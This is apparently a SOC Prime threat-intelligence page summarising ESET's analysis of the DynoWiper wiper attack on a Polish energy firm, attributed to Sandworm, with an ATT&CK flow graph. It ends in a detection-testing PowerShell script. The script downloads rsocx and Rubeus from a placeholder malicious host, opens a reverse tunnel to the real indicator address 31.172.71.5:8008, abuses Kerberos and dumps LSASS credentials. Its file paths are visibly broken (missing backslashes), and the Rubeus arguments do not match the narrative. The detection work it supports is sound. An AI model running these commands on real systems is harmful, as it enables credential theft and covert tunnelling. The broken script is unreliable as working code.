SOC Prime Bias: Critical

04 Feb 2026 18:19

ESET Research DynoWiper update: Technical analysis and attribution

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
ESET Research DynoWiper update: Technical analysis and attribution
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

DynoWiper is a destructive wiper used against an energy-sector organization in Poland, impacting multiple endpoints across operations. The executables were staged in a shared network location and launched directly from that share. ESET attributes the activity to Sandworm with medium confidence. Once executed, the malware corrupts targeted files with random bytes and triggers a forced reboot to complete the impact.

Investigation

ESET recovered three samples—schtask.exe, schtask2.exe, and _update.exe—dropped under C:\inetpub\pub. Embedded PDB paths suggest the binaries were compiled in a Vagrant environment. Reverse engineering showed a three-step wiping routine, with two variants inserting a five-second sleep between phases. Post-compromise artifacts also included the Kerberos tool Rubeus and an rsocx SOCKS5 proxy inside the victim network.

Mitigation

ESET PROTECT on the victim systems blocked all three variants, limiting damage. Reduce exposure by preventing unauthorized scheduled-task creation and monitoring for unexpected writes into shared directories. Add application allow-listing and disallow execution from network shares wherever possible.

Response

Identify and isolate hosts that run schtask.exe, schtask2.exe, or *_update.exe from a share. Preserve volatile evidence, review scheduled tasks and PowerShell deployment traces, and remove tools such as Rubeus and rsocx. Complete full forensics and restore data from verified clean backups.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress["<b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/><b>Description</b>: Downloaded additional tools such as Rubeus.exe and rsocx into the compromised environment."] class action_ingress technique tool_rubeus["<b>Tool</b> – <b>Name</b>: Rubeus.exe<br/><b>Description</b>: Performs Kerberos credential theft and abuse."] class tool_rubeus tool tool_rsocx["<b>Tool</b> – <b>Name</b>: rsocx<br/><b>Description</b>: SOCKS5 proxy used to relay C2 traffic."] class tool_rsocx tool action_cred_dump["<b>Action</b> – <b>T1003.001 LSASS Memory</b><br/><b>Description</b>: Dumped LSASS process memory via Task Manager to obtain credentials."] class action_cred_dump technique action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: Executed PowerShell scripts to deploy malicious binaries and facilitate further actions."] class action_powershell technique action_cmd["<b>Action</b> – <b>T1059.003 Windows Command Shell</b><br/><b>Description</b>: Used cmd.exe to run shell commands and orchestrate the wiper."] class action_cmd technique action_gpo_discovery["<b>Action</b> – <b>T1615 Group Policy Discovery</b><br/><b>Description</b>: Identified Group Policy Objects to prepare for wide scale deployment."] class action_gpo_discovery technique action_gpo_modify["<b>Action</b> – <b>T1484 Domain or Tenant Policy Modification</b><br/><b>Description</b>: Modified GPOs to distribute DynoWiper binary across the domain."] class action_gpo_modify technique action_schtask["<b>Action</b> – <b>T1053 Scheduled Task Job</b><br/><b>Description</b>: Created scheduled tasks with schtask.exe to persist wiper execution."] class action_schtask technique action_data_removable["<b>Action</b> – <b>T1025 Data from Removable Media</b><br/><b>Description</b>: Placed tools and the wiper in a shared network directory C:\inetpub\pub\."] class action_data_removable technique action_file_discovery["<b>Action</b> – <b>T1083 File Directory Discovery</b><br/><b>Description</b>: Enumerated files and directories on fixed and removable drives while excluding system folders."] class action_file_discovery technique action_wipe["<b>Action</b> – <b>T1561.001 Disk Content Wipe</b><br/><b>Description</b>: Overwrote file contents with random data deleting or corrupting data."] class action_wipe technique action_reboot["<b>Action</b> – <b>T1529 System Shutdown Reboot</b><br/><b>Description</b>: Forced system reboot after wiping to finalize destruction."] class action_reboot technique action_proxy["<b>Action</b> – <b>T1090.002 External Proxy</b><br/><b>Description</b>: Configured rsocx to use external SOCKS5 proxy 31.172.71.5:8008 to hide C2 traffic."] class action_proxy technique malware_dyno["<b>Malware</b> – <b>Name</b>: DynoWiper<br/><b>Description</b>: Wiper payload that overwrites data and triggers reboot."] class malware_dyno malware %% Connections action_ingress –>|downloads| tool_rubeus action_ingress –>|downloads| tool_rsocx tool_rubeus –>|enables| action_cred_dump tool_rsocx –>|provides| action_proxy action_cred_dump –>|provides credentials for| action_powershell action_powershell –>|executes| action_cmd action_cmd –>|orchestrates| action_wipe action_gpo_discovery –>|leads to| action_gpo_modify action_gpo_modify –>|distributes| malware_dyno action_schtask –>|creates task for| malware_dyno action_data_removable –>|stores| tool_rubeus action_data_removable –>|stores| tool_rsocx action_data_removable –>|stores| malware_dyno malware_dyno –>|performs| action_file_discovery malware_dyno –>|performs| action_wipe action_wipe –>|triggers| action_reboot action_proxy –>|relays traffic for| malware_dyno "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:

    1. Establish a reverse SOCKS5 proxy using rsocx.exe. The adversary downloads the binary from an external server, places it in %TEMP%, and runs it with the -r 31.172.71.5:8008 argument to create a reverse tunnel back to the C2 host.
    2. Perform Kerberos ticket abuse with rubeus.exe. The tool is executed to request a Kerberos ticket‑granting ticket (TGT) for the domain admin account and subsequently forge a service ticket (s4u2self).
    3. Dump LSASS memory using procdump.exe (a common alternative to Task Manager) to capture credential material. Sysmon records a Process Access event where the attacker’s procdump.exe process accesses lsass.exe with the 0x1010 granted access mask (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
  • Regression Test Script:

    # -------------------------------------------------------------
    # Simulation script – triggers the Sigma rule for rsocx, rubeus,
    # and LSASS dump. Run with administrative privileges.
    # -------------------------------------------------------------
    
    # 1. Deploy rsocx.exe (reverse SOCKS5 proxy)
    $rsocxPath = "$env:TEMPrsocx.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath
    Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden
    
    # 2. Deploy rubeus.exe (Kerberos abuse)
    $rubeusPath = "$env:TEMPrubeus.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath
    Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden
    
    # 3. Dump LSASS using procdump (requires Sysinternals)
    $procdumpPath = "$env:TEMPprocdump.exe"
    Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip"
    Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force
    $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1
    if ($procdumpExe) {
        Copy-Item $procdumpExe.FullName $procdumpPath -Force
        Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait
    }
    
    Write-Host "Simulation completed. Check SIEM for alerts."
  • Cleanup Commands:

    # Terminate any lingering malicious processes
    Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Remove binaries and dump files
    Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue
    
    # Optionally delete temporary download directories
    Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "Cleanup finished."